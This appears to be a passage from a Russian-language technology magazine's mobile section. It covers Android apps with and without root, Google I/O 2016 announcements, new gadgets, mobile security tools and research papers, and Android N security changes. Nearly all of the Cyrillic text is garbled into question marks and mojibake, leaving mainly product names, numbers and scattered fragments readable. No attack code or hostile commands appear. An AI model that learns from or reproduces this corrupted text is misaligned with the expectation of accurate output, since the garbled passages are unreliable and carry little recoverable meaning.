?????, ??????? ???????? ???а???????????? ???????? ???????, ??? ?а????????? ?????а? ????????? ?????. ?????? ????????? ?????? ???????? ?? ???????? ???????????? ??а??????? ?????? ????????? ??????. ?а?????????, ??а??????. ???? ????????? ?????? ???, ???? ???????? ???????????? ?????? ??????.
(?а??????? ??????, ??? ????? ?????????? ??????? ???????????? ????????
????????? ???????, ??а????? л?????????╗.)
Titanium Backup
????????? ????????? ????? ?????????? Titanium Backupа? ????? ?????????? ????????? ???а???????? ????????? ?????, ????????? ?аGoogle Play. ?а??
??????? ??? ??????? ??????? ????????? ????? ?????? ???? ?????????????
?????????? (??????? .apk), ????? ???? ??????? ???????????? ?? ??а?????
??????????. ?????? ????????: Titanium ???????? ???????? ?????? ??а???????? ??????????, ??????? ?????? ??а??????????? ?а??? ??????? ?????????? ?????? ????????? ?????????? Android. ???а?????????????? ?? ??а??????
?????????? ??????? ????? ???????? ???????????.
??????????
??????? ?? ??????? ????? ?????????? ?????????? ???????????, ?????????
?а??????????? ??? ??????????? Android. ???????????? ????????? ??а????????? ??????????? ??? ???????????? ??????? ?а??????????, ?????????? ????????? ????????? ??????????? ?а???????? ??????, ??а???? ??, ??? ???? ???????, ????????????? ???????? ??????? ??????????? ???а??а?????????????,
??? ?а??а??????? ?????????? ??????.
?а????? ??? ????? ?????. ??????????? л????????╗ Android? ??????? ???????? ????????????? ????????? ?а??????????. ???????? ????????? ??????????? ????? ???????? ???????????? ????? ????????????? ??????????, ?а????
?????? ???????, ?? ?а????????? ??????????? ????? ???????? ??????????????
?а?????-?????? ??????. ???? ??а??????????, ?а???????? ??????????? ?а??а??????? ???? ????????????? ????????? ?????, ????? Android 6.0 ??? ????, ??
??а?????? ????????????? ?????? ?????? ?а????????? ?а????? ??????? ???????? Android.
?????????? ???????? adb backup ????? ?????? ???????????? ????? ?????? ????????????? ????? ?????? ?????? Android. ????????? ?????????? ?????????? ?????? ???а??????? ???? root. ????????????? ?????????? ????????
?а???????? Nandroid backup ????? ??????? ????? ???????, ??а???????? ????
????? ????????? ????? ?????????????.
?а?????????? ??????? ?????????? ??????????? ?аAndroid ???????? ??а???
?????? л?????, ??? ??????╗. ????????? Android ??а?????????? ??а???? ?????:
???? ?а?????????? Windows Phone 8 ????????? ??????????? ???????? ??????? ???????.
?а???а??????? ???? ?а????????? ???????????? ?а??????????? ?????, ????????? ??? ??????????? ????????? ?????? Windows ?аBlackBerry 10?
??а????а? ?а????????? ??????!
MOBILE
?????
?? ?????
ROOT
????? ?????????
denis2371@gmail.com
?????????
????????????????
ANDROID, ??а???? ????
?????????????????
?????? ??????????? ???????????? Android ????? ???????????? ?????? ??????? ???????? ????? root, ????? ?????
????????? ???????? ?а?????????? ??????????, ??????????? ???????? ???????????????? ?а??. ??а????? ????
???? ???аroot Androidа? ????? ?????? ?а?????????????
??, ??????????? ???????? ???? ????????? ?а??????????? ????????? ???????????. ?а???? ?????? ?? ??????? ???
????? ????? ?????????? ???????, ?????????? л???????????╗ ?????????? Android ?а????????????? ??? ???????
???????, ?а?????????? ???????? ??а???, ??а???????? ?????????? ??????????.
?а????????? ????????? ?????????????? ????????? ???? ????????? ????????????? ??????. ??? ????????, ??? ???????? ????? ??
??????? ????? ?а??????? Xposed, ??????? ??????? root. ???? ??
?????? ???????
??, ?????????? ????? ??????????, ??????? ????? ???????? ?а????????????
?????. OGYouTube ????? ??а?????? ????????? ????? ?а????????? ??????? ?а????????, ??а?а?????????? ????? ?а????????? ?????? ?а?????????? ????????.
???а????????? ????? ??а?????? ?????????? ?а????????? ???? ????????? ???????? GPlayer.
?????????? ???? ??????????, ?????????? ?а???? ????? ????? ?????????? c ?????????? ?????? (?? ???????????? ??а????????). Floating Apps, ????????, ??????????? ????? ?????? ????????? ???????? ?а?????????? ?а????? ???????? ?а??????? ??????.
?а??? ???? ????? ???????, ???а????????? ???????. C Floating ??????? ???????? ????????? ?????????? ?а????????? ?????, ??????? ????????????
?????? ???? ??????????. ????? ?????, C Floating ????? ?????????? ???????
?а?????? (??, ??????? ?а???????? ?????!), ?а????? ??????? ?????????? ??????????.
????????? ?????????? Floating Apps
??????? C Floating
? ??????, ?аAndroid N ????????? ??????? ??????? ???а???????? ???????????? ?????
????? ??????????? ???????????? (??????? ??? ??а??????
??????????????). ????? ?? ???????? ????? ???????? ??а?????
?????? ????????
?????? ???????? Last App Switcher.
???????????
??????????
????? ????? ????? ????? ?????? Home
??а????????? ???а?????????? ?????? ????????? ??? ?????????? ?????? Home ??а?????? ?а???????????
?????????.
Pintaskingа? ??? ???? ???????
???????? ???????????? ????? ??????????? ????????????, ??????
??а?????, ?а???????????. ?????? ?????????? ?????????? ??????????
??а?????? ?а????????? ?а???? ??????.
?????????? ?????? ???????? ??????
?а????? ????????????.
?а???????? Paranoid Android ?
????? ???????, ??????? ????????? ?????? ?????? ?????????
????? ?????? ?а????????????
?????? ??? ???????? ????.
????? ?? ???????? ????? ???????? ???аroot?
??. ????? ???????????????? ????
?а Pie Control. ??????, ????? ?а???
?????????? ??????? ?????????, ?????????? ???????????? ??????????
?а???? л?????????
????. ???????????╗.
?????? ?????? ????????? ?а??????? ????????? ????? ?а??????? ????
??????????. Immersive Full-Screen
Mode ????? 100 ??????, ??а????? ????????????? ???????? ?????? ????????? ?а????????? ?????????????
???????????. Hide System Bar ???
?????? ????????, ??? ?????? ?????????? ??????. ???????????? ?????????? ????? ??????????а? ???а???????
?????? ????????? ?????????? ?????????? ??????????.
Pintasking ?а??? ????????? ??????????
?а????????? ????????? ?а???????????? ???? Pie Control
?? ????????? ????? ????????
????????? ???????? ??????????. ????? ?? ??????? ?? ?? ????? ??а????? ???аroot?
?а?????? ????????? ????? ???????? ?????????????? ?????? ?а??????? ????????? ????????:
? Internet Speed Meterа? ??????? ???????? ???????? ??????;
? TempMonitorа? ??????????? ?????????? (??? ????????????);
? ????????? ?????? ???????а? ????? ??????? ?а?????????;
? Signal level notificationа? ?????????? ???????? ??????? ??????? ?аdBm (????? ???????? ?а??????????);
? Weather Undergroundа? ??????? ?????? ?а?????? ???????? ??????????;
? CPU Statsа? ??????? ????????????? ?а??????? ??????????.
???а??????????? ????????? ????????? ?????????? ????? ????????????
Cool Tool, ??а?? ?????????? ???? ??????????? ?????? ???? ????, ??? ????? ?????? ?а???????????? ?????????????.
??????????????????? ?????? ?????????
??? ????????, ??? ????????
CyanogenMod ????????? ????? ????????? ????????? ???,
???а??? ?????. ?????? ??? ???????? ??????? CM?
????? ???, Light Flow ????????? ?????? ??????? ???????? ??????????
?а????????? ???? ???а??????? ?????????? ?????????????. ?а??? ???????
????? ????????, ????? ???????????
?а???? ??????? ????????.
?аMotorola Moto X ???????
?????????? ?????????????, ????? ?????? ???????? ?а???? ???
????????? ???????????. ?????????? ?? ??????????, ??????????? ???????? ?????????????????
??. ???? ?????????? ??????????
acDisplay. ??? ????????????? ???????? ?????, ????? ?? ??????????
?????????? ??а????? (????????????)
??? ???????????? ??а??????? (?????? ???????????). ????? ?????????
??????????? ??????? ?????????????
?????????? ??а???? ??????. ??? ????? ????? ?????????, ??а??????? ???????, ??? ??????? ??????? ????-???
????? ???????? ?а??????????? ??????? ?????? ????????????.
????? ????????? ??????????
????? ?? ????????? ?????????
???????, ??????, ???? ?????????? ????? ?а???????? ??????
??, ?????. QuickShortcutMaker ?????
??? ??????.
???????? ??????? ?????? ???
?????????????. ????????, ?? ??????
????? ??а??????? ????? ?????, ??????? ?? ????? ???????? ????? ???????? л??????╗ (??? ???????? ?????????? ??????). ????, ?????????
QuickShortcutMaker, ???????? л?????????╗. ??а?????? ???????? ???????? ?????? ????????. ??????????? ??????? ??а?????? ????? com.
android.settings/com.android.
settings.Settings$StorageSetti
ngsActivity. ?а?????? ?????? ???
?????????? ?????? ????? ????? $. ???
????? ???????????
???????? ????????. ?????? ??? ?????????? ???????. ?????? ????????
??а??? ???????? ?а???????? л??????????╗а? ???????? ??????????. ????? ???????? ??? ?????? ??а??????? ????, ???????? л???????╗.
?а????????? ??????? ????? ????? ????????, ??????? ????????? ???????
????. ?а???? ?????????? ?а?????? ????? ??????????? ??????????, ???????
??а???????????? ?а????? ???? ?????????.
?????????
Quick Control Panel
?аiOS ???????? ?????? ??????????. ???? ?????!
??????? Quick Control Panel. ????? ???????????, ??? ????????? ?а???? ?????
??а???????? ??? ?????????? ?а???????, ???а??аiOS, ???? ???????????? ?????
???? ????????. ???????? ???????? ??????? ??а???????? ?а??????????? ????????? ????????. ???????? ???????? ??????? ???? ????????? ???а????????? ??а????????? ???а?????? ????? ??а??????? Home.
??? ???????? ????????????
??а??????? ???? ???а???????
??????????. ???? ?? ????? ??????? ?а??????? ??????? ??????? ????
???????. ????????, Omni Swipe. ???
???????????? ????? ???? ?а?????
????????????? ?а??????? ??????????? ????????????, ?????????????
(???????, ????????? ??????? ??????, ????????? ????? ?а??????), ??????? ????? ????? ????? ?????????
??а?????? ?????? ??????? ???????
??а?????? ??? ????? ?????? ??????
?????? ??? ?а??????? ?????????
????? ????? (???????? ?а??????????).
???????: ?????????????, ??а??????? ??????????? ????-??????, ??????? ?????????? ??а??????? ?а??????
????? ??????, ????? ?????????.
???а????? ?????????? ??????? ?а????????? ????????? ?а??????? л????????? ????
??????????? ????
???а?????????╗. ?????, ??????????
??????????? ?? ????? ???????, ????
????? ?????????: л??????????? ????????? ????????????╗.
????? ?? ???? ???-??????
???????????????? ???????????? ????????? ?????????
??. ?а???? ???????, ????? ???? ???
?а??????? ??????. ?а???? ???? ??????? Truecallerа? ???????? ??????????
?????? ???а??????????? ????? ???????? ???а???????? ??????? ?а?????????? ????? ??а??????????? ?????????????? ???? ?????? (??? ???????
?????????? ?а??????????). ???а?????? ????????? ????????? ?????? ???,
??????? ?а?????. ????????? ??????
??????? ?а???? ?????? ??????? ?а????? ???????????? ?????? ?????????????, ???? ?? ?? ?????????. Truecaller
????? ?????????? ????????? ?а?????? ??а?????? ????????, ??а???????
?а???????? ?????????? ????????????
??а?????????? ???а?????????.
????? ???? ?????????? л???????
?????????╗. ??? ?????????? ??????? ????????? ?????, ??? ??????
?а????????????? ?????????. ????
?????? ?а???????? ??????????? ?????? ?????. ???????? ????????? ?????????? ?а???????: ???????, ???????,
????????,
??????????,
????????????, ???????????, ???????,
????? ??????.
??? ???????? ????? ??????????
Truecaller (??????) ?ал??????? ?????????╗ (?????)
??а?????????? ?а?????????
????? ???????? ???????? ?????.
?????? ????????? ??????????
??а???????, ?а????????????
?а??? ????????????!
?а?????????, ???????? ????? ??а????????? ?????? ???? ?? ?????-??????
?????? ???????, ??? ??а??????????
??????????. ??а???? ?????????, ??????? ?????? ????????? ?????????.
? Texpand. ????????????? ???а???????? ????? ????? ????????????
???? ??? ??????????????. ????????,
???а????? л??????, ???а?????╗ ?????
?????? ??????? л???╗ ?а?????? ??а???????. ?????????? ????? ????????
??????? Expands immediately ???????? ???а??????? ?????????, ?а?????
????? ????? ?????????? ????????????? ???а??????? ??а???????, ??а?????? л????????╗ ????????? ?????????.
?????????? ?????? ????????? ??????
??а????? ?????? ??????????.
? Inputting Plus. ?????????? ??? ??????????? ???????? ????????, ??????? ?? ?????? ?а?????????
????????? ??????????
????????? ???? ?а???????????, ?а????????? ?????? Ctrl + C, Ctrl + V, Ctrl + Z,
Ctrl + Y, Ctrl + F (?????? ?? ?????????
??????) ??а????????? ??????.
? Universal Copy. ?? ???????, ??? ?аAndroid ????? ????? ?????????? ??????
????? ?а??????????? ?????? ???? ??аYouTube, Facebook ??? ????????? ?а????
??????????? ?? ???????? ?а????? ????????. ??? ????? ?????????? ?????
????? ????? ?????? ??????. ?????? ??а???????? ???????????? ????? ??а???????,
?????? ???????? ?а????? ????????????? ????? ????????????, ????? ????????????? ?????? ?????, ????? ??? ????????.
?а???? ????? ????????? ????????? ????????, ???????
?????? ???, ????? ? ???????
?????? ?а?????-?? ??????????,
??? ?????????? ????? ?????
???????? ????????. ????? ??
??????? ???, ????? ??? ??????????? ?а????, ?а???? ????????
??????????, ?????? ????? ???????? ??????????
??, Brave Browser ?????? ??????
???. ????????, ?? ??????? ???????,
????? ??а???????????? ???? ??????, ?? ???????? ?????????? ?а????,
?а??а??????? ???????????? ?????????
?????? ?а?????????? ????????. ????
???????? ???????????, ?? ??????????? ?????? ???????, ?а??а?????????
???????? ????????? ??а??????, ?а????? ????? ?????????? ???? ????????
?а??? ??????????? ?????????.
Flynx ????? ????????? ???????? ?а???? ?а??????? ?????????
??а?????. ???? ????? ??????????
???????? ?а??????????? ??????
???а?????? (?????? ???? ?????? ?а??????????). ???а??????? ????? ????Brave Browser
???? ???? ???? ?а?????? ??????.
???? ???? ??????? ?????? ??а????????? ???а???????? ??????, ?? ?а??????? ???????? ???? ?? ???????????
?????? ?а?????? ?????? ???а??????????? ??????, ??? ??? ?????? ????? ????????
???? ??????.
?а????? ?????????? ????????? ??? ???????????
? LinkSwipe. ????????? ????? ???????? ??????? ?????? ?а????? ??????????,
?а????? ?а???????а? ?а??????. ?а?????????? ?????? ????? ?????? ?????? ????
??? ?а??? + ????? ??????.
? ACR. ?????? ?????????? ??????????. ??а????????? ????????????? ?????
??? ?????????.
? AZ Screen Recorder. ?????? ????? ?а?????? ??????????. ???????? ??????
??аAndroid 5.0+ (??????? SDK 21+).
??????????
Androidа? ????? ??????? ?а??????? ???????????? ???????. ?????? ?а??? ???
???????? ???????? ??????????? ?????????? ???????????? ?????? ???????.
?????? ???? ?а????, ??? ?????? ????????? ?а?????? ???? ??? ??? ????? ?????
??????? ??????? ?????????? ?а???????, ??????? ??? ?????? ???? ?а????.
MOBILE
????????
????????
??а?????
??????? ??????
androidstreet.net
??????? ?а???????: Google I/O 2016, ??????????? ?а????
?????????, ?????? ?????????? ?????????, ??????? ???????? ??а?????????, Android ?????? Chrome OS, ?????
??????? ???????? ?а????????-???????, ?а????? ??????????? Linux-??????????? ???а??????????? Android, ????????????? ?????, ??????? ???????? ?а?????? ?????????, ?а???? ??а?????? ?????????? ?а????? ??? ????????.
????????? ??????.
??????
??????????, ??????? ???????? ??? ????? ??????????? Google I/O 2016, ???,
????? ??????? ????????? ??????????, ???????? ??????????? ??? ????? ????
???????????. ?????? ???а??? ????????? ?а?????? ??????? ????? Android N
Developer Preview 3, VR-????????? Daydream, ????? ????????? ?????????
Google Assistent, ??? ?????????? ?????????? Google Home ?а????? ??????
Android Wear.
?????? ??а???????. ????? ?????? Android N ?????????? ????????? ???????????????? ???????????. ?????? ??? ???????? ?а???? ??????? Google
Assistent, ??????? ????? ??????? ?????????? ???????????? Google Now,
?а?????? ??? ????????? ??а???????? ?а????????. Assistent ??а?????? ???????? ??а???????, ?а????? ?а????????? ?????? ??????????? ??????, ?????????
?????????? ??????? ?а????????? л??????????????? ???????╗. ??? ?? ???????, ??????, ??????????? ?а??????? ?????????????? ?????????? Viv ??а?????????? Siri, ????? ?а??????? ????????? ????????????? ?????????.
Google Assistent ????? ???????????? ?а?а???????? ?????????? Google
Home, ?????? ?????????? ??????? Amazon Echo. ????? Google Home ?а???,
??? ?а???? ????? ?????? ????? ?????????? ?????????, ??????? ????????? ???
??? ???????, ??????? ????? ???????, ??????? ?аGoogle ?а?????????? ??????? ????????????? ????????????, ??????, ????????, ???а???????? ????????.
Google Home
?????? ?????????? Developer Preview ????? ??????? Instant Apps, ??????? ????????? ????????? ???????? ?????????? Android ??а????? ???-??????????.
???а??????? ?????????? ?????????? ??а??????? ????? ????? ??а???????????
??????? ??аGoogle Play, ???а??????? ?????????? ????? ????????? ??????????? (? ?????????? ?????? ??а??????), ?а????? ?????????а? ??????? ??а???????. ??????? (?? ????? ????????) ????????? ??? ???????????? ?а?????????
Nextbit Robin. Instant Apps ????? ???????? ?а?а????? ?????? ??????? Android
(??????? ?а4.1).
??? ???? ?????????а? ????????? ??????????? ?????????? Daydream.
??? ????? ?????????? ??????????? ????? ????????? ??????????, ???????????? ?аGoogle Cardboard, ?а??????? л?????? ??????????? ??????????╗ ??????
????????? ??????? ?а????? ??????? ?а?????????? ??????. ?а??????? ??а????
????????? Cardboard, ??????? ??? ??????? API, ??????????? ?????????
VR-?????????? ?????? Android, Daydream ??????? ????????????? ?а???????
?а????????????? ??????????? ????? ???????, ???а???????????? ?????? ?а???????????? ?????????? ?ал?????╗ ???????? ??а?????????? ??????. ??????
????????, ???????????? ?????? ?????????, ???? ZTE Axon 7, ????????????
?а????????? ?а?????? ??????????? ?????????? (? ??????? ??????????? ????????, ???????????).
?? ?а???????? ????????????? ????????? Android Nа? ??? ??????????
Seamless update, ??????? ????????? ????????? ???????? ?а????, ?а?????
?????? ????????????? ??а????? ??????. ???? ?????????? ????? ??аChrome
OS ?а?????????? ??а??????? ???????: ?????? ?????? ?????????? ??????? ?а????????? ???????? ???а? ???? ??а??? ????????, ?а?????? ???????????? ???а????????? ??????????. ????? ???? ???а?????????? ????? ?????????
?? ?????? ????????? ??????, ?? ?????? ????????. ????????? ?а???????????
?????????? ????????????? ??????? ????????, ?????????? ????? ????????
?????? ??а???????????, ?????????? ???????????? ?аAndroid N.
?а????? Android Wear 2.0 ????? ???????? ????? ??? ??????? ???????????? ??????????, ????????? ???????? ???а??????????? ?а????????? (???????,
??а?? ?? ??????? ????????? ?аApple Watch OS 2.0), ?а????? ????????????? ??????????? ?????.
?????? ?????????, ??????? ???????????????? ??????? Android N, ??????????? ?????, ?а????????? ?????? ??????????? ????? ???????? 25 ????????. ??????????? ??????? ????? ??? ??????, ?????? ????-?????? ?а???????????? ?????. ?????? ???????? ???а????????? Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, Pixel C
?аAndroid One. ????? ????????? ?????????? ????? ?????????? Xposed-??????
Android N-ify, ???????? ???????????? Android 5.0 ?аAndroid N.
???????
??????? ????????? ???????? Ara, ??????? Motorola ???????????? ???
?а????? 2013 ????? ??, ??, ??? ????? ?????????? ????????, ?а??????? ?????????? ????? ?????? ?а?????????? ???? ???а????????????? ????????? ????????. ?????????? ??????? Wired ????????, ??? ?????????? ????????? ??а?????? ????????????, ??а?а????? ?????????. ??????? ?????? ???а?????????????
???????? ??? ?а???????-??????? ???????? ????, ?а?????? ?????? ???а???????
???????? ???????????? ??а2017 ???.
???????? ?????? ?а???, ??? ???????? ?????? ??а?????????. ??, ??а????????????? ????????? ???а?????? л????? ???????????╗ ?????????? Project
Ara ??????????? ?а??????? ????????, ?а???????? ????? ??????????? ?????????????? ?????????. ??????, ??????????? ?а?????????? ??????, ?????, ???????????, ??????? ?а??????? ?????? ??а??????????. ???, ??? ?????? ?????
???????,а? ??? ????????? ????? ?????? ?????? ??? ???????, ?????? ???а???????? ??????? ????? ???, ????????, E Ink ???????, ???????????? ?????
?а??????. ?????, ??? ??????, ?????? ??а?????? ???????, ??? ?????? Google
?????????? ??а????????? ??????? ??????? LG G5 ??? ??? ?? ??????????
Motorola ?а??????????? ???????.
??????????, ???а???????? ???????? ?а????? ??????? ????, ????? ??а????
?????. ?а??????, ??????, ????? ?????? ???????, ??? Google ?????? ??????
??а??а????????, ?а??а?????????? ????????? ?а????????? ?????????. ??????
?а???????? ?а?????а? ???????? ?а???????? ??????? ??????, ????? ??а????????а? ???????? ??????-??????, ????? ??????? ????а? ?а???? ?????? ????
????????? ??????? ????????? (??????? ???? ??а????????? ???????? ?а??????, ??...).
????????????? ????????
??? ???? ???????? ???????: ?????????? Android ?????? ????? ????? ????????? ?аChrome OS. ??? ???? ???? ??а???? ????????? Android ?аChrome OS:
?????????? Android ?аChrome OS, ??????????? ??????? ????????? ?аAndroid.
?????? ?????? ??а?????, ?????? ????, ??? ???? ??????? Android-??????????
ARC, ??????? ????? ????????????? ???????????? ???а???? ????, ?????? ??????? ??а??????????? ?????? Android, ?????????? ?а?????????? ??????????.
????? ???????:
? ?
??????? Google ???????? ??? ?аOracle, ?????????? ????????????? Java
API ?аAndroid. ?а????? ???????, ??? ?????? ??? ?????? ??? ?а??? ?????????
????????? ??а??? ?а????, ??? ??? ??????? ?????? ??а?????????????.
? ?
????????? ???????? л???????? ????????? ?????????╗ ???????? ???????? ??а?????????? ??????????????? ???????? ????????? ????????????
??????? Sailfish. ??? ?а????? ????? ???????????? ????????? ??а?а????????? ?а???????. ??а???? ??????????? ??, ??????, ??? ??????.
? ?
а????? ?а???????? ?????????? Android Update Alliance, ?????????? ?????????? ??????????????, ??????? ??????????? ??????????, Google ??????
?????? ????????? ???, ??? ????? ??а??????. ????????????, ????? ??????????? ?????? ????????.
? G
oogle ????????? Android ??аRaspberry Pi. ????? ??? ?????, ??а?????? ???????, ??, ?????? ?????, ????? ??????????? ?????? ?????? ??????.
??????????
?а??? ??а????? ????????? ????????? ???????? ?????????, ??????? ?????
????? ??????????? HTC 10, ??????? ??????? ???????? ???????? ?а?? ????
??а?????????, ?? ??????????? ???????. ?????? ??? ??? ????? ?????? ???
????? ???????? ??а???????? ?????????? ????????????? ?а?????????? ????????. ?? ????????? ?????? ?а??????.
?а????? ????? ?????? ??аMashable ????????? ?????????? ?а?????????,
?????????? 14... ????? ????????. ??? ???????? Solarin ??а???? Snapdragon
810, ?а5,5-???????? ???????, ??????? ??а12,8 ??, 4 ????? ???????????
?а128 ????? ?????????? ??????. ????????? 13 ????? ?????????? ??ал?????????? ??????????, ???????????? ????????╗ ?а(????????) ?????????? ??????,
?????????? ?????????? ??????? ????????????. ????? ??? ?????? ???????? ?????????? ???????????. ??????, ?????????? ??????? ?????????, ???????
??а?? ???? ?а?????????? ??а?? ??????????? ???? ?????????????? ????????.
14а000 ????????
????? ?а?? ?? ????? ????????? ??????? Moxi Group ?????????? ????????-??????? ?а?????? ?????????? ????????. ????????, ???????? ?????
???????? ?а?????? ??а???? ???а?????? ????????????????. ?????? ??? ??????? ????????, ??????? ????? ?????? ??????? ??а????? CNN. ???? ??? ?? ?????-?????, ??а?а2018 ???? ???????? ??????? ??????? ?а??????? ??????. ????
???????а? 760 ????????.
??????? ??????? ?????? ????????
????? ?? ?а????? ?????? ?????????? Pebble ??????????? ????? ??? ??????????: Pebble 2, Pebble Time 2 ?аPebble Core. ?а???? ?а??????? ????? ??? ????:
??????, ????, ???????, ?? Pebble Core ????????????? ???????? ??????. ???
????? ?????????? ????-??а?а????? ??????????? ??????? ???а?????, ??????? ?????? ????????а? ????????? ??????? ??????-???????. ?????? ?????
?????????? GPS, 3G-?????? ?аJack ???а??????????? ?????????. ???? ?а?????
??а????????, ??????? ??????? ??????а? Core ??????? ???? ??????? ?а??????
?????? ?а????????????? ??????? ?аRunkeeper. ??! Pebble Core ????? ??????!
????? ???? SDK, ???? ???а??????????? ?а????? ?а??? ??????????????? ??????. ?????????, ??? ????? ??????? ?а???? ????????, ????????, ??? ??? ?????
?????? ???а?????? ??а?????? ??????.
Pebble Core
???????????
? A
ndroid Tamer 4а? ???????????? ?????????? Linux-???????????? ?а??????? ???????????? ???а???????, ??????????? ?а??????? ?????????? Android.
?????, ??? ?????????? ???? ????? ????? ???????? ????????????, ??????
??????????? ????? ?????? ??????? ????????????? ?аVirtualBox ?а???????
?????? ?????????????? ??????????. ?а????? ??????: ??????? ??аDebian 8,
??????????? ??????????? ??????? ???а????????? ?????????????? ????????????, ????? ???????? ???а???????? ??????? ??????.
ndroid Studio 2.2а? ?????????? ????? ?????????? Android, ??????? ???? A
?? ????????а? ??????????? ?????????????? ???????? ????????: ?????? ??
???? ??????? ?а??-?????????? ????????????????.
? Fridumpа? ?????????? ???а????? ??????????? ?????? Android ?аiOS ??а?????? ????????? Frida. ???? ??????? ?а???, ???а??????? ???? ?а????????
????????.
? Plasmaа? ????????????? ???????????? ???аx86/ARM/MIPS, ????????????
??????? ???а?????? ????????? ?а????????? ?а?????????? ??????????. ??????????? ???????? ???а???, ???? ????? ??????? ?????????? ?????????? ?????? ????????????? ????????????????? IDA Pro.
Android Tamer
????????
How to lock the samsung download mode using an undocumented feature of abootа?
??????? ??????, ??????????? ??????? ?????????? Galaxy S5. ??а?????? ??????,
?????? ????????? ????? ??????? ?а???????, ??? ????????? Samsung ????????? ????????????, ??? ????????? ????????? ???? ?а????????????. ??? ???????? ????? ??????, ?? ??? ????? ?????????? ??????, ??а???????? ????? ??????
????? ?????? ?а???, ???а???????? ??????? ???????? Android, ??а?????????? boot
flow ??а?????????? recovery. ??????????? ?а????????? ????, ??? ????????????
?????? ????????.
daptive Android Kernel Live Patching (pdf)а? ?????????? ??????? ??а???????A
??? ??????????? Android ??а????? ??аBaidu. ???????: ??? ?????????? ???????
??????? ????????????? ???????? ???? Linux ?а????? ?????????? ???????????,
??????? ??а???????? ?? ??а?????? ????????? ?а?????????? ???? ?а??????? ???????? ???????. ?а????? ????а? ???????? ???? ?а??????? ????????? ?а???
?????????? ?а????????? shellcode, ??????? ?? ????????????? ????????? ????,
????????? ?? ?? ??????????. ???????? ?????? ?а???, ??? ?а??? ??? ???????? ???????.
????? ???????? ????????? ???????? ???????? ????????, ??????????? ???????? ????????? ????? ?????????? ?а????? ?????? ????????????. ??????
?а??? ?????????: 60% ????????? ???????. ??а????????? ?а??, ??? ??? ????????
????????? ?аiOS: ???????????, ?а??? ???? ??????? ???????? ????? ?? ?????????? ???????????, ??, ??? ???аApple ????????? ???????????? ???? ?????????,
??? ????? ??????? ????????? iOS ?а?????????? ????.
?????????? ????????? ???????? ????
roid-FFа? the Android fuzzing framework (pdf)а? ??????????? security-????????
D
Intel, ??????????? ??????????? ?? ?? ??????????? Droid-FF ???а???????? ?????????? Android ?а??????? ?а?????. ????????? ????? ??а??????? ??? ??????????, ??????? ???????? ?????? ????? ??а??????? ??????????? ???? Stagefright.
????????, ??а????????? ?????????? security-??? Android, ???????????
?
?а???? ?????? ???????????? ??аGitHub. ????? ?а??? ?????????? ????????,
?а??? ?????? ?????????? ???????, ?а??? sertificate pinning, ?а????? ??? ??? ???.
?а????? ???????? ??????, ??а????? ??? ????. ???? ????? ?????? ?????????
??????.
??а???????: ???? ????????, ????????? ?????? ?а???????? ???????? ?????? ???? Allwinner
MOBILE: ??????? ??????? ???????
ANDROID N
?а??????
??а????????????
??????? ??????
zobnin@gmail.com
????? ??а????? ?????????? ??аGoogle I/O ???? ??????????? ??????? ???????, ??????????? ??а???????????? ????????? Android. ??а????? ????? ?? ????? ?????????? ?а?а?????????? Android M ?а????? ????????????, ?а?а????????
Android N. ??? ???а?аsecurity-????? ?????? ?????? ???????
?? ??? ??????, ? ??????????? ???? ??а???, ??? ????????
????? ?????? ???????? ?а??????? (??? 6.1, ???????, ??а??????, ????? ????? ????? ?????? Android). ???????.
?????????? ????????? ??????
????, ??????, ? ??? ?????? ?????????, ? ??? ?????????? ????????? ??????. ???? ???? ? ?????????? ??????????????? ?????? ?????????? ????, ??????? ???????? ????????????? ?? ?????????? ?????? ? ???????? ??????
?????????? ? ???????? ???? ????? ????? ???????????? ???????.
?????? ?????????? ???????????? ? iPhone (Secure Enclave) ? ???????????
? Android ??????? ? ?????? 4.3. ?????? ?? ?????-????? ?????????? ? ????????????? ????????? ??? ???? ???????? ???? ? ?????? 6.0, ????? ?????????
??? ??????????? ??????? ??? ????????? ??????, ????????????? ??????? ?
???, ????????? ?????? RSA, ECDSA, AES, HMAC ? ??????.
??? ???, ??????? ? Android N Google ????? ????????? ???????????? ????????? ????????? ??????????? ????????? ?????? ? ??????????. ?? ???? ??,
??? Apple ??????? ?????? ???? ?????, ? Android ????????? ?????? ??????. ???
?????? ?? ???????????, ???????? ??????? ????????? ?? ???? Android, ????? ??????? ?????? ?? ?????? ????????? ? ????????. ??????????? ?????? ?
TrustZone, ????? ???????????????? ?????????? ?????? ??????????, ????????????? ARM, ??????? ??? ?????.
???? ??а??????? ???????????
??????, ??????? ??а???? ??????????, ?а?? ?????????? ?а????? Qualcomm, ??????? ???? ????? ???????????? ?а?????????? ?а?????????. ????? ??????
???? ?????????? ??? ??????-????? ?????? ?а????? лBits, Please!╗, ?а??????
??????? ????????? ?????????? ??а?????????? ??????-????? TrustZone, ????
??????, ?а??????? ???????? ????? ???????????? ??? л??????????╗ ?????????.
????????, ????? ??????? ??а???? Qualcomm ?а??????? ????????????
?????? ????, ??а??????? ?????????? ??? ??а????????.
?????? ?????????? ??????? ?аSMART LOCK
???? ??????. ??а??????? ?????? ?????????? ??????? ?аSmart Lock. ????? ???
???????? ??????. ?????? ?????? ?????? ?????????? ????????? 50% ?????????????, ?????? ?????? ???? ??????? ??а90% (????? ???????? ?????, ??????).
?? ?аSmart Lock, ??????????, ?а??????? ??????? ????? ????????? ????????
?а?????-????? ?а??а??????? ??????, ???? ??? ??????????, ????????? ???????
?????? ?а??? ???? ????.
??? ????????!
??????????? ?????????? ?а?????
????? ?а??????? ??? ???????. ??????: ?????? ???????????? ????? ????? ????? ????????? ???, ????? ?????????? ?????????? ?????? ???????????? ????????????? ??????????, ?а????? ???. ??? ????? ????????? ???????????.
?а???????????? ?????? ???????????? Android ????????, ??? ????? ????????? HTTPS- ?а??????? TLS-???????????? ????????????? ???????? ??????,
?а????? ?аAndroidManifest ??????????? ?????????, ?а??????? ??????? ??????????? ??? ????? ???????: л??? ?????????? ?????????? ?????? ????????????? ??????????╗ (??? ????????), ?а????? ?? ??? ???????????? ??????????? ??????? ??????????, ?а??????? ??? ?????? ????.
???????????, ????? ???????? ????????, ?????? ??? ????? ??????????
????? ???? ???????????, ?а????? ?????????? ???? ??????????? ?а????????
(???????? ?а??????????? ???????, ????????). Google ??? ?????????, ???????? ????? ????????????, ????? ?????? ?????????? ?????????, ?а????? ?????
???? ???????? ???????. ??? ???? ????????????: ????????????? ????????????? ??????????? ?????? ??а???????? ??????? ??????????.
????? AndroidManifest.xml
?????????? ??????
